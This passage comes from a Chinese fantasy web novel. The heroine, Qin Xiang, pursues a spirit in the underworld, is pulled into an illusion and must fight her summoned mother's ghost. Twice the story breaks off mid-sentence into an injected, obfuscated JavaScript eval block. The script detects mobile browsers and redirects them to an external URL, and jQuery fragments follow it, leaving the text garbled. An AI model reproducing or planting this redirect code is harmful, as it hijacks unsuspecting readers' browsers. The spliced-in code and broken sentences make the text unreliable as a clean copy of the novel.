众人心中一顿,下意识地便朝着面前看去。在他们还没反应过来仔细看清楚发生了何事,面前的善恶之河原本平静的河面却忽然变得十分湍急,一层一层的浪花激烈地翻涌着。而那法阵下面,也赫然开了一个缩小版的圆形法阵咒印,那咒印在半空中闪烁着金色的光芒,随着光芒亮到大炽,一个紧闭双眼的女子便从那光芒中出现然后落入底下的善恶之河中。 那女子身着赤红衣裙,双目紧闭,十八九岁的模样。她不像河中其它还未恢复神智的众鬼一样,只有一缕虚幻的魂流,要等鬼差打捞起再恢复神智才会获得实体,她原本就是实体! 对于出现的这个特例,鬼差们与周围熙熙攘攘的众鬼并没有太多的讶然表情。除了秦湘几人对这个突发的状况一时还有些摸不着头脑。 几人看着那女子随着湍急的河流快速地向下流飘荡而去,在飘过几人身边之时,那女子紧闭着的双眼却蓦地睁开了,她看向这边,目光锁定了鬼群中的三花。 三花一顿,在对上那女子视线的那一刻,她几乎可以完全确定,那就是梦寐。而且,她看她的那一眼,也是因为认出了她,感受到了她身上的妖气,那是同类的气味。 “找到了,梦寐。”三花喃喃道。她也紧紧地盯着她,看着她在她的面前随着河流飘荡而去。 天空中的这个法阵对于这个突然闯入的特殊魂魄并没有表现出什么其它偏激的反应,它绽放出的光芒对她无效,鬼差们也并没有采取什么特殊的行动来阻止这个魂魄的漂流。于是就在众鬼们的窃窃私语与在秦湘乔玉洲惊奇的目光下,女子又闭上了双眼,任由浪花席卷,将她带去远方,无边的尽头。 秦湘看着那女子远到看不见的身影,还有些没回过神了,震惊道:“就这么……飘走了?” 站在一旁的老爷子看着众人脸上各异的神情,笑道,“习惯就好,习惯就好,她每月都要这么飘上三回,下次等她飘来,就是十天后,哈哈哈哈,不用这么震惊。” “???”闻言,众人一怔,齐刷刷地转头,目光一齐看向了站在一旁神色自若眼角还笑眯眯的老爷子。 84.十只兔子 三花一时没控制住声量,望着那老爷子,急忙道:“老爷爷,你认识这个飘走的女子?你确认你没看错?她每月都会在善恶之河里面飘上三回?!” 秦湘几人不知道那时三花与那女子之间对视上的那一眼,只知道她突然睁眼了,也没听到三花低声喃喃的那一句话,所以只当是看热闹似的,并不清楚那女子的身份。不过此时看着三花焦急的模样,秦湘几乎是瞬间就明了了,她连忙问道,“梦寐附着在那女子体内?” “是的,”三花点了点头,“不会有错,是她,她也认出我来了。” 老爷子不知道什么梦寐不梦寐的,只是听着两人的对话,又看着三花急切的模样,就笑道,“原来你们和那女子认识啊,那女子是前几个月出现在彼岸之城的,”他抬起一只手,掐指算了算,又接着道,“算算时间,应该是三个半月之前。” 闻言,三花与其余几人目光对视了一眼,喃喃道:“没错,族长感受到梦寐妖力最强盛的时候,就是在三个多月前,那时候我们还没有往这方面想,只当是梦寐一族出了个佼佼者。后来查到不对劲,才又继续查询有关梦寐一族的线索,然后才发现了这一股梦寐的妖力,这股妖力时强时弱,在彼岸之城尤其强盛。” 说到这儿,她又转而望向那老爷子,继续问道:“那爷爷,那你可知这女子为何会飘荡在这善恶之河内?方才看那情形,鬼差们为什么会任由她漂流下去?而不像打捞其它亡魂一样将她打捞起来?她这么顺着善恶之河飘下去又会飘到哪里去?然后为什么她又会每月都在善恶之河众飘荡三回?” 老爷子“哎哟”一声,笑了笑,“娃儿你慢点问,说太快了老爷子都要记不住了。” 三花也自知自己有些太过心急了,顿了顿,不好意思地朝着老爷子笑了笑,“对不住,爷爷,是我失态了,实在是有些太过惊讶,恳请爷爷告知我们事情经过,我们一定感激不尽。” “这有什么客气的,又不是什么秘密不能说的事情,”老爷子摆摆手,又顿了片刻,似在思索,而后道,“那女子啊,在三个月前第一次飘荡在善恶之河的那一天,闹出的动静可比今天的要大多了呢。老爷子我在这呆了十几年了,还从来没看见过善恶之河起过那么大的浪,那天出动了好几列鬼差,都没能阻止那女子继续飘荡,不管用什么办法,都没办法把她像其它亡魂一样打捞起来。” “所以后来就任由她这么飘荡了?不过她应该也不至于一直在这善恶之河中飘荡吧?”乔玉洲问道,“您方才不是还说她每隔十天又会重新从善恶之河的上游漂流而下,就像刚才那样。” “是啊,鬼差们无法打捞她,但是这不代表着她不能自己从善恶之河中飘上来啊。” “!!!”这话一出,几人俱是一惊。秦湘连忙接道,“爷爷你的意思是,她会自己从善恶之河中游荡上岸,然后出现在彼岸之城里的意思吗?” “是了,”老爷子点点头,看了眼河岸,那边的打捞工作已经接近尾声,鬼差们与围着观望的群鬼也陆陆续续地相继离去,他拉着几人往旁边让了让往回走的一众鬼流,又继续道,“那天的动静太大,亡魂无法打捞,还让她顺着善恶之河飘走了,这已经算是重大失职事件了,鬼差们无法承担后果,所以就将这件事及时反馈了上去。那天下午啊,阎罗就派遣了一位新的使者前来了彼岸之城,来解决这件事。” 三花道:“然后呢?然后发生了什么?为什么现在鬼差们对这女子的出现已经跟视若无睹了一般?” “那天那女子顺着河流飘走了之后,晚上,她竟直接就出现在了彼岸之城内,没有人知道她是怎么从善恶之河中自己飘上来的,我们也有些害怕她,只敢隔得远远地看,看她神色焦急,在彼岸之城内的每一条街道上不断飘浮而过,就像是在寻找什么似的。后来新来的使者带着鬼差们将她在城中拦下了,两人交谈了一番,隔日,那女子便离开了彼岸之城,而使者就在城内放出了公告,让我们不必惊慌,一切照常便是了。” “所以这女子后来的行为都是那新来的使者默许了的?所以现在大家对她的出现才会表现得这么淡定?” “对咯,除了你们这些新来的不知道的,才会露出那样一脸惊讶的样子,哈哈哈哈。” 秦湘皱着眉头思忖了片刻,然后抬头看向老爷子,问道:“那如爷爷你所言,这女子今晚上就会出现在这城中是吗?然后第二天会离去?然后十天后又从善恶之河上游飘荡而下,飘回彼岸之城。就这样十天一循环?” “是的,没错,”老爷子想了一想,严谨道,“戌时正刻左右,她就会出现在西城中,基本不会差。” 听完老爷子的话,众人心中也有了一番思量。谢过了老爷子,将人送回了摊位上后,几人便在西城中寻了个客栈先行安置休息下,等待着夜晚到来,梦寐出现,再做定夺。 是夜,秦湘坐在自己的那间房间内。鬼界中的客栈也与人间的别无二致,不过就是在夜晚气氛上可能更黑暗了些,她坐在窗边,单手撑开了些窗户朝着街道上望去,已经快要到戌时正刻了。 街道上此时也正是热闹的时候,来来往往的尽是鬼流。秦湘眯着眼睛默默地看了一会儿,忽然,一抹艳稠的红色晃入了她的眼帘,她将移走的视线又倏地转了回来,那熟悉的身影,不就是白日里在善恶之河中的那抹。 那女子此时正在街道上慢慢地飘荡着,周边的众鬼对她的出现已经习惯,喝茶的喝茶,看戏的看戏,吃饭的吃饭,自顾自地做着自己的事情,神情泰然自若,交谈说笑,嘈嘈切切。 没有人关注她,除了秦湘。她看着那女子托着手掌,掌心一簇白色的光华正小幅度地上下浮动着,隔得有些远,秦湘看不真切她脸上的神情,只是看着她慢慢地,仔细地,像是在感知些什么似的,在街道上一条一条中的陌巷之中穿梭着,寻找着,没人知道她到底在寻找些什么。 眼看着她即将走入一个岔路口,秦湘心中焦急,连忙放下窗户转身,准备去叫上其它三人,然后下楼。她走到门边刚拉开门,正好就遇见了前来找她的三花。 三花也正准备敲门,正巧秦湘拉开门,她顿了顿,收回举在半空中的手,“秦湘姐姐,你也看见了?” “嗯,那是白天看见的那个女子没有错,”秦湘道,“走吧,我们去叫上乔玉洲和神君他们,下去看看。” “好,走吧。”三花点点头,转身朝着前方走去。 秦湘走出房间,将门关上,转身抬脚,正准备跟上三花的身影之时,眼前却突然一花,像是一个什么模糊的东西从她面前一闪而过似的。她眨眨眼,等她再次看向面前的时候,却被面前的景象惊得后背冒出了一层冷汗。 秦湘睁大了眼睛,几乎是不可置信地,她又闭着眼睛晃了晃脑袋,企图证实自己并不是一时之间忽然老眼昏花了。可当她再次睁开眼睛之时,面前的景致却还是无二变化。 在她面前,三花不知道从什么时候开始不见了,且她现在所处的地方也并不是那间客栈的陈设,而是一个四周黑暗无顶无底的虚无空间。唯一发出光亮的,便是她面前的一扇木制门扉了,是的,只有一扇门。 幻境?秦湘警惕地打量着四周的情况,这种莫名熟悉的感觉,又和当初那回被魔气拉入妖魔镜中,进入到长锦的梦魇幻境中的桥段有着异曲同工之相似,只是不知道这次的幻境,是以谁为主角上演的。 秦湘在原地站定了一会儿,思忖了片刻。她被突然拉进了这幻境之中,也不知道三花他们现在又是个什么情况?是在客栈中发现她不见了?还是也被分开拉入了一个这样的幻境之中? 不管怎样,必须尽快出去才行。 秦湘思考了一会儿,挥手召出了烈云剑,绕着那扇门走了一圈,并无其它发现。她顿了一顿,又回到了原地,盯着面前那扇孤零零散发着诡异光芒的门看了一会儿,然后走上前去,推开。 在秦湘推开那扇门的那瞬间,门身上面白色的光华也跟着亮到了极致,她下意识地眯了眯眸子,等到光芒淡去,才集聚着目光朝着门里望去。门里,一个流淌着细碎红光的星辰漩涡正缓慢地旋转着,秦湘想了一想,左右没有其它法门,唯一的传送阵便在这门里,这是没给她任何选择啊,必须进去。 想到这,秦湘也就按下了心中那些顾虑,握紧着手中的烈云剑,心一横,便抬脚走进了那漩涡之中。 穿过漩涡,秦湘看着面前的画面,她倒吸了一口冷气。这个传送法阵的后面,是一个阴暗窄小的小房间,房间里面四面无窗,顶部的墙体上流淌着忽明忽暗的幽幽绿色法术光泽。唯一的出口便是秦湘身后的这扇矮小简陋的木门,门上的黑漆已经剥落,露出里边已经霉坏的木屑,一股腐朽的味道直冲鼻息。 在她面前,摆放着一张简单的床榻,床上铺放着一床白色的薄被,被子上,大片大片的血迹还未干涸,仿佛是片刻之前才被人泼上去似的。而地面上,杂乱不堪地丢放着一堆木头兔子,无一例外,在地面与墙壁还有那木头兔子身上,都沾染了赤红的鲜血,整个场景,就是又怪诞又骇人。 屋内一片死寂,除了血液顺着床上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15336694|156532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被角缓慢滴落在地的清晰“嘀嗒”声。秦湘压下了心中一开始的骇然,在房间内走了一圈,她左右检查了一番,并无其它怪异,除了这地面上随意摆放着的那些木头兔子。她将那兔子摆放在了一起,数了数,正好九只。 她蹲在这堆表情呆板除了脑袋是兔首,其余是人身的诡异木头兔子面前,有些无奈,实在是有些琢磨不透弄出这幻境的人到底是几个意思?这些东西,除了血腥恐怖了一些,再无其它,没什么参考价值。 和这堆兔子大眼瞪小眼地看了一会儿,秦湘莫名觉得自己这样子有些傻里傻气,她摇了摇头,有些好笑地站起身来。正准备转身出去之时,却忽然闻见“吧嗒”一声,她心下一惊,连忙抬头朝着声源处望去。 果不其然,她身后的那扇门像是感知到了她准备离开的想法,发出了一阵血色的光芒。四五条锁链从门框中凭空而出,紧紧地攀附在了门身上,与墙体融为了一体。一时之间,原本破破烂烂的一扇门扉顿时就变得固若金汤。在那扇门彻底与墙壁融为了一体后,两行血红大字渐渐浮现在了秦湘面前的墙体之上—— 找到房间里的第十只兔子,幻境自可破灭。 秦湘顿了一顿,看着面前的血色字迹慢慢淡去,直到消失不见。她转回身,又看着脚边摆放得整整齐齐的九只兔子,心中不禁疑惑,这房间她都找遍了,怎么会还有第十只兔子?找到十只兔子,幻境方可破解。难道还有哪里是她没有找过的吗? 秦湘摩挲着下巴思索着,目光又将这间小小的屋子仔仔细细地打量了个遍,除了面前这张床,并没有任何可以藏东西的地方。秦湘走了过去,伸手将那床满是血迹的薄被掀开,被子下面,什么也没有。 她又在床边蹲下,抬手捏了个决,指尖光芒渐起,形成了一张光网。再朝着床底下一点,光网如有了自主意识般朝着床底钻去,一寸一寸地摸索着床下的空间。 忽然,光芒闪烁,停在了床尾的某一处不动了。秦湘心中一动,两指朝里微微一带,那光网也裹挟着床下的东西慢慢收缩了回来,定眼一看,是一张看上去有些陈旧的羊皮纸卷。 “招魂大法……”秦湘盯着手中的羊皮纸看了看,指尖摩挲过那羊皮纸卷上描写着的文字。看见这四个字的时候,她心中猛然一惊,将那纸卷紧握在手中,又不可置信地接着往后看了下去。 这羊皮纸卷上记载的竟然是招魂大法的使用咒诀与注释说明! 房间内的光亮忽明忽暗,秦湘眯着眼睛,喃喃自语:“招魂大法,以施法人的鲜血为引,再施以咒诀,以手画就符阵,可召唤出厉鬼邪灵,来实现施法人的一个愿望……” 秦湘慢慢地顺着这些字句看下去,招魂大法,她也曾在史书文献上曾见到过一些随笔带过的零星记载,虽然没有直接记载此法的使习方法,但对于此法的说法,也与当初林秋月使出的噬魂大法同源,是邪术。 若是施法者召唤了邪灵过来,实现了自己的愿望后,却没有这个能力付出对等的代价送走邪灵,其后果不用想也知道,必定是会被厉鬼邪灵以极其残忍血腥的方式杀死,且魂魄也会成为邪灵的力量养分,再无轮回之说。 可是这里又怎么会有这种禁术的修炼方法?这和第十只兔子又有什么关系? 秦湘怀着心中的疑惑,将那张羊皮纸卷看完,看完后,又将它翻转了过来仔细看了看。只见那纸卷的背面左下方上豁然画着一只兔子,那兔子画得不像地上摆放的那种是木头的,而是一缕魂烟形状的。在那兔子图案的旁边还写着两行文字,文字细小如蚁,灯光也忽明忽暗,如若不是秦湘看得仔细,极其容易被人忽视。 她一手握着纸卷,一手虚虚托起了一道掌心焰。就着左手火焰的光芒,秦湘终于看清楚了这两行文字记录的是什么了:此招魂大法只在此房间内有效,用此咒法,可召唤亡灵,来回答施法者的问题。无论施法者提出任何问题,受其召唤的亡灵皆不能妄言。 秦湘看着这两行小字,沉默片刻。看来要想走出这个幻境并不是要找出什么十只兔子来,兔子只是个扰乱人判断的障眼法,也就是说,设置这个幻境的人,就是为了让她使用这招魂大法召唤出那个亡灵。 问亡灵当然能够知道第十只兔子在哪里,但是肯定也不是这么轻易就能让她出去。毕竟这上面也没有写召唤出了亡灵之后要怎样送走它?若是送不走,后果会是怎么样?秦湘已经能想到了,也许这个招魂大法背后的亡灵才是出去的关键。所以,出去的关键,便是需要召唤出它?然后和它打一架?亦或者是……杀了它。 85.二选其一 房间中四下寂静,掌心的火焰与头顶的绿色光华相交织着,在秦湘的瞳孔中映照着,跳跃着。 她顿了一顿,像是下定了某种决心似地站起身来。秦湘看着手中的羊皮纸卷,再次思量了一番,然后将它摆放在了面前的床榻上。她的指尖亮起了一道金色光华,以光为刃,用力一划,右手指尖瞬间被划破,鲜血顺着伤口涌出,她就着指尖的血液,照着面前书卷的记载,在空中细细抹开。 秦湘口中低低地念着咒决,鲜血与指尖释放出的灵力相结合,在空中闪烁着诡异又妖冶的光芒。不过几下的功夫,一个完美的招魂大法咒文阵法便赫然出现在了房间里,阵法光华流淌,在这血腥四溢的房间内尤为瘆人。 秦湘收回指尖,往后退了几步。看着面前的招魂法阵,她随手又将烈云剑召唤了出来握在手中,脸上神情紧张,随时准备着进入战斗的状态。 法阵在空中不断地闪烁着红色的光泽,光芒越来越亮,不住扩散,顷刻之间便将这房间的每个角落都笼罩在其阵法之下。一个人形也在这光芒中慢慢显现,最先出现在秦湘面前的是一抹明亮的紫色。 看着那衣服款式,秦湘一愣,是个女子? 她紧张地盯着面前渐渐清晰的人影,在那魂体彻底成型清清楚楚地站在秦湘面前之时,她猛然一怔,脸上的表情瞬间凝固,“哐当”一声,烈云剑脱手,掉在地上。 秦湘死死地盯着面前的身影,如遭雷击般脸色煞白。她浑身发着抖,不可置信地往前走了两步,一开口,眼泪滑落,声音也带上了哽咽,她颤抖地唤道:“阿娘……” 在秦湘面前虚浮着的,那个被召唤出来的亡灵,正是秦湘的阿娘杜元霜。她闭着双眼,神识还未曾全部归位清晰,凌空漂浮于半空之中。她身后的招魂法阵也慢慢地化为了一阵一阵的红色灵力光华围绕着她飞涌而去,待光华全部融入了她的身体之中后,杜元霜缓缓降落在了秦湘面前,然后轻轻睁开了双眼。 秦湘怎么也没有想到,她施展招魂大法,召唤出的亡灵,竟然会是自己的阿娘……她愣愣地看着面前这个曾经多少次午夜梦回出现在她梦中的身影如今就这么清晰地站在了她面前,她颤抖着,满脸泪痕地望着她。 杜元霜站在秦湘面前,眼神从一开始的无光渐渐清明,她缓缓地看着面前的人影在她眼中聚焦,然后与她记忆中的那个孩童身影相叠。她张了张嘴,朝着秦湘缓慢且僵硬地伸出了手:“阿湘……” 如果说方才秦湘还有些许犹豫,不敢上前,但在这一声颤抖的轻唤中,所有的感情终于还是全部决堤。她抬手抹了抹眼泪,想扯出一个笑脸来,但眼泪却怎么都止不住。 “阿娘!”她再也忍不住了,看着面前这个熟悉的身影,她朝着她飞奔过去,扑进了那个在小时候的夜里无数次抱过她的怀抱,她拥抱住她,颤抖地呢喃着:“阿娘,阿娘……” 杜元霜僵硬地眨着眼睛,微颤着伸出木讷的手掌,缓缓地落在了秦湘的后背上,一下,两下的轻轻拍着。 秦湘紧紧地将她抱在了怀里,感受到了后背传来的轻柔温度,她抬头看向她,看着她眼中的情绪,无数的话想从口中说出,但最后说出口的只有一句:“阿娘,我好想你啊。” 杜元霜抚摸着秦湘的头发,目光在她脸上停留。看着她眼角的泪不住地滑落,她愣了愣,最后指尖停在了她的脸颊旁边,将她脸上的泪水轻轻拭去。 她声音轻柔,一如往昔:“阿湘,别哭。” 秦湘怔怔地,面前的容颜和那一晚上的容颜重合,她抬手将脸上的泪水抹去,声音嗡嗡:“是,我不哭了,阿娘说过,喜欢看我笑的样子,我不会哭了,我现在也可以保护自己了,不会再教阿娘担心了。” 闻言,杜元霜笑了,半晌,轻轻抚上了她的头,“这样就对了,我的阿湘啊,从来都是最厉害的。” 秦湘立在原地,攥着杜元霜的手,紧紧地攥着。这一次,不是之前的幻觉,而是实实在在地被她攥在了手心里的皮肤的感觉,只不过,这只手并没有属于活人的温度罢了。 她静静地攥了一会儿,才抬起眼,问道:“阿娘,为什么你会出现在这里,为什么我使用招魂大法召唤出的会是你?这些年,你一直都在彼岸之城吗?” 杜元霜怔了怔,她转了转眼睛,像是思考般陷入了沉默,良久,才喃喃道:“为什么……我会在这里?” “阿娘?”秦湘也发觉了不对劲的地方了,她问出这句话之后,杜元霜先是一愣,然后就像是被什么操控了一般神识不似方才清明,双目木僵,只是缓慢而麻木地重复着,“为什么……我会在这里?” “为什么?”她喃喃着,忽然,眼瞳紧缩,然后双手抱住了头不住摇晃了起来,神情痛苦,“兔子,阿湘……” 秦湘一惊,连忙就要去扶她:“阿娘!!你怎么了!!是有什么在操控你吗?你怎么了?阿娘!!” 杜元霜没有理会她的问话,只是自顾自地抱着头颅神情痛苦地喃喃着。忽然间,房间中的血液仿佛活过来般开始迅速流淌,围绕着两人身旁丢放着的那九只木头兔子飞涌而来,然后注入它们体内。 注入了血液的木头兔子此时也如同被注入了灵魂一般,睁开了它们的眼睛,一边发出诡异的咯咯笑声一边朝着中间的两人迈着僵硬沉重的步子走来。 秦湘此时一颗心都挂在杜元霜身上,没时间也没心情来管身旁这些东西。她转过头,目光一凛,眼神中杀气渐起。她抬起手,掌中灵力骤起,朝着它们凌空挥去,“都滚开!” 一道白光朝着四周迅速扩散炸开,将那些朝着她们走近的兔子木偶统统荡开,随着几道“咔咔”断裂声传来,兔子木偶被重重地弹到了墙壁上,然后四分五裂,掉落在墙角处,鲜血从它们的残骸中汩汩流出。 秦湘看着那几堆木头残骸,已经碎成了残渣了,却还在不断地痉挛着,颤动着,试图将自己的身体再次拼凑完整。秦湘冷冷地看着,目光中已有不耐,她转过身来,正想上前去再补上一脚之时,手腕却忽然被人抓住。 “阿娘?”秦湘一怔,连忙回神,转头去看。只见杜元霜跪在地上,一手扶着自己的头,一手紧紧攥着秦湘的手腕,神情紧张,声音焦急,“阿湘,别去,快,听阿娘说,已经来不及了,你必须尽快……” “什么?”秦湘也蹲在了她的面前,扶住她,“阿娘你要说什么?什么来不及了?这到底是怎么一回事?” 杜元霜睁开双眼,一双眸子中闪烁着红光,她咬紧牙根,死死地拽住秦湘,“阿湘,你听着,打破这个幻境的办法根本不是找到十只兔子,十只兔子也等同于是只兔子。这个房间里,目前已经有九只死物,还要一只……” 杜元霜喘着气,她眸中的红色闪烁地也愈发地快了,似乎是在压制着她的意识。秦湘看着在她怀中颤抖着的杜元霜,突然之间,也像是明白了她的意思,恐惧攀上了她的心脏,她瞳孔骤然紧缩,喃喃道:所以,十只兔子等同于是只兔子的意思是,这房间里——只能有一个人活着。” 明白过来的瞬间,秦湘脸上的血色霎时之间便褪得干干净净。是了,在这房间里,兔子代表的就是人。秦湘进到了这房间中,那招魂大法便就此生了效,相当于房间内有着九个“死”人与两个“活”人。而打破幻境的方法是找到房间中的第十只兔子,找到“兔子”又必须要使用招魂大法。 而方才她的阿娘说,十只兔子等同于是只兔子,那代表的就是,想要打破幻境,就必须要杀掉被招魂大法召唤出来的这个“活”人,这样,房间里才同时满足了有十只兔子又是只兔子的条件,十个死人,一个活人。而相反,若是她死在了这个幻境之中,也可以满足这个条件,幻境照样还是会破灭。 所以打破幻境的方法是——让她亲手杀了她的阿娘,亦或是她死在她阿娘的手上。 秦湘被这个答案惊得一颤,她怔怔地,不敢再想下去。这完全就是死局,让她杀了她的阿娘,她怎么可以…… “阿、阿湘……”杜元霜脸上闪过一丝迷茫,她已经感觉到自己的意识逐渐归于混沌。她紧紧地握住秦湘,声音焦急,“阿湘,快,阿娘已经撑不住了,阿娘不能伤害你,你……快,拿起你的剑,杀了我!” 秦湘感觉自己的血液都是冷的,她丢开杜元霜塞进她手里的烈云剑,已是泣不成声。她摇着头,这一刻恍若失去了灵魂,“不……不行,绝对不行,阿娘,我怎么可以杀了你,我怎么可以……” “阿湘,别哭,”杜元霜捧起了秦湘的脸,为她擦掉眼泪,“阿娘临走前,最担心的就是你了,如今还能再见到你长大的模样,早已知足,能再保护你一回,阿娘很开心,所以阿湘,你别哭了。” “不,阿娘……”秦湘早已泪流满面,她哽咽着,“我不行,我做不到……阿娘,我不可以……” “阿湘!”杜元霜皱着眉,她眼中的红已经要浸染上她的整个眼眶,她剧烈地发着颤,“没有时间了,若是可以阿娘也不愿让你亲手杀了我,可是阿娘实在是没有办法,只有你亲手杀了我这幻境才能破灭,尽快,我的意识即将涣散,你……快动手!快啊!快——” 秦湘看着面前陷入痛苦挣扎的杜元霜,也在不断地发着抖,心脏剧烈地跳动着,脑中一片空白。 “阿湘,不要犹豫了,”杜元霜道,“快拿起你的剑,杀了我。” 在说完这句话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15350886|156532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之后,她便彻底失去了自己的意识,她顿了顿,缓缓地站起了身来,眼神放空,朝着她一开始出现的地方走去。而方才被秦湘一击击碎的那些木头兔子残骸也慢慢地动了起来,化成了一阵红色的灵力围绕着杜元霜飞涌过去,随着灵力的注入,她缓缓地睁开了双眼,看向面前的秦湘。 秦湘脸色煞白,看着面前杜元霜朝她投来的陌生的目光,嗫嚅道:“阿娘……” 杜元霜盯着秦湘,手中凝出了一把长剑。她提着剑,一步一步地朝着秦湘走来。秦湘往后退了一步,这房间不大,能给她退的空间也不多。杜元霜缓缓抬起手中的剑,冷冷道:“杀了她,死。” 她口中不断地重复着这四个字,与此同时,眼中红光一闪,便提着剑朝着秦湘猛地劈了下来! 秦湘一怔,只能召回烈云剑与之相抵,剑刃相接,“叮”地一声,星光四溅。两人被这剑势力度弹开,相对而立在这小小的房间中,杜元霜没有丝毫犹豫,足尖一点,又提剑迎上。 “阿娘!”秦湘还保持着理智,所以处处受限,只守不攻。但杜元霜却没有手下留情,她僵硬的脸上没有丝毫表情,口中只低声重复着,“杀,杀了她、杀了她……” 在秦湘的记忆里,杜元霜虽然后来使用剑术并不多,但这并不代表着她的灵力与一身剑法修为就不够好。与她后来的温婉相反的是,她的阿娘在她们这个年纪的时候也是像这般的意气风发,而她爹爹最开始,也是在那年的群英论剑大会上被她阿娘那套行云流水的剑术所折服得心服口服。 所以,此时对上全力出击的杜元霜,再加上她并不能真的伤害她的阿娘,秦湘也慢慢地变得吃力起来。杜元霜的攻击迅猛,精准,一招一式之间带着的杀气凌盛,仿佛永远不会累一般。 秦湘横剑在前,咬牙抵挡住她再一次掠过来的长剑,看着杜元霜那张近在咫尺的苍白而又熟悉的脸,她低声喊道:“阿娘,你醒醒,我是阿湘啊。” “阿湘?”杜元霜听到这个名字,眼眸中有了一瞬间的愣怔,她蹙着眉,喃喃着。秦湘见状,心中一动,连忙应道,“是,我是阿湘啊,阿娘,你醒醒。” “阿湘……”杜元霜口中木僵而迟缓地念着这两个字,手中的剑渐渐地也有了几分放松下去的意味。然而就在秦湘以为她真的能恢复意识之时,她却猛地抬眼,看向秦湘,声音再度冰冷地没有一丝温度,“杀。” 这一剑来得突然,秦湘没来得及防备,猛烈撞击之下,她觉得烈云剑都要差点脱手,一惊之下连忙回神,侧身躲避,才堪堪躲了过去这来势凶猛的一剑。然而杜元霜也见此机会,掌中凝聚灵力,朝着秦湘拍去。 这一掌用了实打实的功力,灵力生生地拍在了秦湘身上,她只觉得喉头一阵腥甜,等反应过来之时,人已经被击退到了墙角处,若非是身后的这堵墙,她怕是还要飞出十几丈开外。 秦湘跪在墙垣下,以剑驻地,猛地咳出一口鲜血来。这一击太重,她感觉自己的五脏六腑都已经移了位,不过比起身体上的疼痛来,更多的,是心中的悲痛。她咬着牙,看着面前一步一步朝着她走过来的杜元霜,眼中都是迷茫与无助,她并不是个犹豫的人,但家人是软肋,如今这种情形,到底要她怎么做?真的好难啊。 她微微抬起头,无助且痛苦地盯着站在她面前的杜元霜。杜元霜也看着她,那双温柔的眸子此时没有一丝的温度,寒光闪过,下一刻,长剑猛地刺透了秦湘的肩背,将她狠狠地往墙上撞去。 秦湘闷哼一声,疼得倒抽冷气,血液顺着冰凉的剑刃滴落,她张了张嘴,想说什么,但却什么也说不出来。她颤抖着抬起手,想要握上那把刺入她血肉中的长剑,可还未握上,杜元霜便已猛地拔剑,鲜血四溅。 失去了支撑,秦湘直直地跪倒在了杜元霜面前,对上她那双冷若寒冰陌生的眼,秦湘只觉得身体发冷,眼睫发颤。杜元霜不知道她眼中的那些复杂情绪,此时的她,只是一具被人操控的傀儡,她的任务,只是杀掉面前的人。 看着面前又缓缓将剑举起来的杜元霜,秦湘心中突然就很平静,她不想再去挣扎了,放弃了,如果一定要让她在她与她的阿娘之中选一个,那她希望她的阿娘好好的,所以…… 她缓缓地抬起头,看着那把离她越来越近的剑刃,嘴角渐渐地带上了一丝微笑。反正她的这条命是她的阿娘救回来的,如今还给阿娘,又有什么关系,只是这样,可能要让爹爹他们伤心了。 然而,就在那剑尖即将抵达秦湘的喉咙之时,她看见杜元霜猛地顿住,四周的场景也在开始变化,坍塌。秦湘蓦地一怔,看着面前如镜花水月般开始慢慢变透明的杜元霜,她瞳孔骤然紧缩,“阿娘?!” 86.再见允棠 杜元霜没有意识,她静静地站在秦湘的面前,随着四周场景的消失正在缓缓地消失着。 “阿娘?”秦湘不知道这又发生了什么,看着面前慢慢消失的杜元霜,她喃喃着,小时候那种无数次睁眼闭眼间阿娘出现又消失不见的场景又再次上演,她感觉自己都要疯掉了。 她微微喘着气,咬着牙想要爬起来,她想要再次触碰到她的阿娘,一次就好。她跌跌撞撞摇摇晃晃地支撑着自己站了起来,想要在世界坍塌前,再次拥抱住她的阿娘。 秦湘颤抖着手,泪眼模糊,然而就在她即将要触碰到她之时,杜元霜却在她面前瞬间破碎化为了漫天流萤,仿若方才发生的一切都从未来过。她眨了眨眼,看着自己的指尖,颤抖,失神。 她一直以为这些年来她早已经放下,可当她的阿娘真的再次站在她面前时,她才知,原来,她从未放下。 “秦湘!!”坍塌的幻境中,似乎有人在叫她。好熟悉的声音,这到底是梦呢?还是梦呢? “秦湘姐姐!!”“秦湘!!” 声音又再次传来,这次不止有一个,两三个不同的声音出现在了她的耳边,带着焦急,带着迫切。 “秦湘,你醒一醒!!快醒过来!!” 这声音如同山野寺间晨暮的钟声般,一圈一圈在她的耳边心中荡漾而开。秦湘一怔,意识猛然回笼,仿佛大梦初醒般,蓦地睁开了双眼,一股剧痛从肩膀处传来,她下意识地扶住了自己,“嘶”了一声,倒抽一口凉气。 等眼睛适应了面前的光亮时,她低头看了看,手掌肩膀处,血肉模糊,鲜血淋漓。她一惊,这不是那时她阿娘刺她那一剑留下的伤口,这不是梦?!她心中骇然,又猛地抬头,环顾四周。 她此时正坐在一张床榻上,长锦坐在床沿边,将她搂在怀中,掌中金光跃起,在为她输送着法力疗愈她肩膀的伤口。在她面前,乔玉洲与三花正站在一旁,两人脸上的神情都是担忧且焦灼的,见她醒来,三花眼睛一亮,连忙道,“秦湘姐姐,你终于醒了。” “秦湘,”长锦扶住她,语气中也满是紧张,“你现在感觉如何?” “三花,神君?”秦湘还有些没回过神来,她看着面前的房间,这是她一开始住的那间客栈,也就是说明现在的空间并不是幻境,她揉了揉眉心,语气疲倦,“这到底是怎么一回事啊?” 